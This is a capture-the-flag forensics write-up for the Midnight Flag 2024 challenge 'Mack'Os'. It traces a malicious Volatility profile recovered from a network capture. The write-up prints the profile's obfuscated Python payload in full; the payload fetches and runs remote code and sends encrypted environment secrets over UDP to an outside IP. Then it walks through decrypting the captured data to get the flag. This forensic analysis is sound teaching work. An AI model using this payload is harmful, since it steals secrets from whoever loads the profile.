Mack'Os
Midnight Flag 2024 - Mack’Os
Category
Forensics
Description
SOON
Files
Difficulty
- Author: NAME
Write up
Trust me :)
We are given a network capture of the moment the thing happened to his computer.
The first thing we see is an exchange via telnet, in plain text. Just follow the stream (right-click > follow > TCP Stream) to view what was exchanged :
This is, as planned in the description, the volatility2 commands that were executed. However, one command prompts a particular message
hello fellow analyst ! just checking a few things do not mind :)
“do not mind”, haha… fellow hacker.
We guess that the user has altered his profile to include a malicious payload.
My next step was to follow the next TCP stream, from 0 to 1, and look at its content :
There is an upload of this package, in zip
format. Let’s download it.
To do this, change the “Show data as” input from “ASCII” to “Raw”, download or copy only the client packets, and throw it into Cyberchef, remove manually the header or select “Extract files”, then download the .zip
You should have those two files :
They represent how a volatility profile works.
We can take a fast look at dwarf.txt.conv.vtypes
to see what’s wrong here :
payload2
The attacker uses a way to execute code while the profile is loaded by volatility. It prompts the already seen message, and then a big Base64 encoded command
We can decode it through Cyberchef again, or execute the payload by replacing exec
by print
#!/usr/bin/python2
from urllib2 import urlopen
import types,time,os
import socket
_=((()>[])+(()>[]));
__=(((_<<_)<<_)*_);
___=('c%'[::(({}>[])-(()>[]))])*(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))))%((__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(__+(((_<<_)<<_)+((_<<_)*_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+_))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(((_<<_)<<_)+((_<<_)+((_*_)+_))),(__+(((_<<_)<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[]))))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+((_<<_)+((_*_)+_))),(__+(((_<<_)<<_)+(_+(()>[])))),(__+(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[])))))),(__+(((_<<_)<<_)+((_<<_)+((_*_)+(()>[]))))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[]))))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+(((_<<_)*_)+_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(((_<<_)*_)+_))),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[])))))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+(_<<_))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+_))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+(_<<_))),(__+(((_<<_)<<_)+_)),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+(_<<_))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(((_<<_)*_)+_))),(__+(((_<<_)<<_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(((_<<_)<<_)+((_<<_)+((_*_)+_))),(__+(((_<<_)<<_)+((_<<_)*_))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[]))))))
m = types.ModuleType('')
exec(urlopen(___).read().decode('utf-8'), m.__dict__)
k = '%d' % int(time.time())
enc = m.encrypt(str([{a:b} for a,b in os.environ.items() if a.lower().startswith('secret')]), k)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(enc, ('83.84.179.243', 16495))
The payload executes another one. Let’s take a look at this one :
- It runs python2 (because volatility2)
- Have some obfuscated stuff (?)
- Opens an url (
urlopen
) - Chose a certain
k
, that looks like a key taken from timestamp - Encrypt some data using
m.encrypt
andk
- Send the encrypted data to
83.84.179.243:16495
To know what the obfuscated stuff does, we’ll need to run a part of this code, in python2, like this :
_=((()>[])+(()>[]));
__=(((_<<_)<<_)*_);
___=('c%'[::(({}>[])-(()>[]))])*(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))))%((__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(__+(((_<<_)<<_)+((_<<_)*_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+_))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(((_<<_)<<_)+((_<<_)+((_*_)+_))),(__+(((_<<_)<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[]))))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+((_<<_)+((_*_)+_))),(__+(((_<<_)<<_)+(_+(()>[])))),(__+(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[])))))),(__+(((_<<_)<<_)+((_<<_)+((_*_)+(()>[]))))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[]))))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+(((_<<_)*_)+_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(((_<<_)*_)+_))),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[])))))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+(_<<_))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+_))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+(_<<_))),(__+(((_<<_)<<_)+_)),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+(_<<_))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(((_<<_)*_)+_))),(__+(((_<<_)<<_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(((_<<_)<<_)+((_<<_)+((_*_)+_))),(__+(((_<<_)<<_)+((_<<_)*_))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[]))))))
print(_)
print(__)
print(___)
exit()
-------------
Output:
2
64
https://gist.github.com/hsauers5/491f9dde975f1eaa97103427eda50071/raw/a8f66f1f9e77b2db28bab1328db274f05722b535/rc4.py
So the variable ___
is the only one used after the three obfuscated lines, and correspond to a gist.github.com link.
This file is called rc4.py
, and embeds function to :
- Generate keys
- Encrypt and decrypt data
We have all we need to decrypt the sent data, except the key. By prompting k
and its type, we can understand its origin:
k = '%d' % int(time.time())
print(k)
print(type(k))
-------------
Output:
1714290986
<type 'str'>
k
is a str taken from the timestamp of the execution. Timestamp taken in seconds, according to Cyberchef once again :
We know have :
- the function to decrypt and recover the data
- the knowledge of the key
What misses now is :
- the timestamp used for encryption
- the encrypted data
We’ve already found that it was sent to the ip 83.84.179.243
, so let’s search it in our network capture :
Our missing information is:
- Data:
0X570X6A0XC50X5F0XDE0XC60X2D0XED0X7A0XF0XD90X850XBD0XC40X2A0XD60XE00X6E0X8A0XCC0X660XDB0XDE0X570X430XD20XB10X700XAC0X200X4A0XE30X4E0X620X5B0XBD0XF60X140XDD0X900XD50X2E0XF00XF90X260X6D0X490X830XAB0X310XAA0X3A0XD10X2A0X490X850X5E0X900XCE0X530X3B0XF40X480XAD0X640X540X550X330X530XF70X6A0XB80XE7
- Timestamp :
1708176002
Then, this code decrypts the data :
from urllib2 import urlopen
import types,time,os
import socket
_=((()>[])+(()>[]));
__=(((_<<_)<<_)*_);
___=('c%'[::(({}>[])-(()>[]))])*(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))))%((__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(__+(((_<<_)<<_)+((_<<_)*_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+_))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(((_<<_)<<_)+((_<<_)+((_*_)+_))),(__+(((_<<_)<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[]))))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+((_<<_)+((_*_)+_))),(__+(((_<<_)<<_)+(_+(()>[])))),(__+(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[])))))),(__+(((_<<_)<<_)+((_<<_)+((_*_)+(()>[]))))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[]))))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+(((_<<_)*_)+_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(((_<<_)*_)+_))),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[])))))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+(_<<_))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+_))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+(_<<_))),(__+(((_<<_)<<_)+_)),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+(_<<_))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(((_<<_)*_)+_))),(__+(((_<<_)<<_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(((_<<_)<<_)+((_<<_)+((_*_)+_))),(__+(((_<<_)<<_)+((_<<_)*_))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[]))))))
m = types.ModuleType('')
exec(urlopen(___).read().decode('utf-8'), m.__dict__)
k = str(1708176002)
data = "0X570X6A0XC50X5F0XDE0XC60X2D0XED0X7A0XF0XD90X850XBD0XC40X2A0XD60XE00X6E0X8A0XCC0X660XDB0XDE0X570X430XD20XB10X700XAC0X200X4A0XE30X4E0X620X5B0XBD0XF60X140XDD0X900XD50X2E0XF00XF90X260X6D0X490X830XAB0X310XAA0X3A0XD10X2A0X490X850X5E0X900XCE0X530X3B0XF40X480XAD0X640X540X550X330X530XF70X6A0XB80XE7"
print(m.decrypt(data, k))
# enc = m.encrypt(str([{a:b} for a,b in os.environ.items() if a.lower().startswith('secret')]), k)
# sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# sock.sendto(enc, ('83.84.179.243', 16495))
-------------
Output:
[{'secret_technique': ' MCTF{my_secret_f0rens1c_tool_is_ripgrep!.!.!}'}]
MCTF{my_secret_f0rens1c_tool_is_ripgrep!.!.!}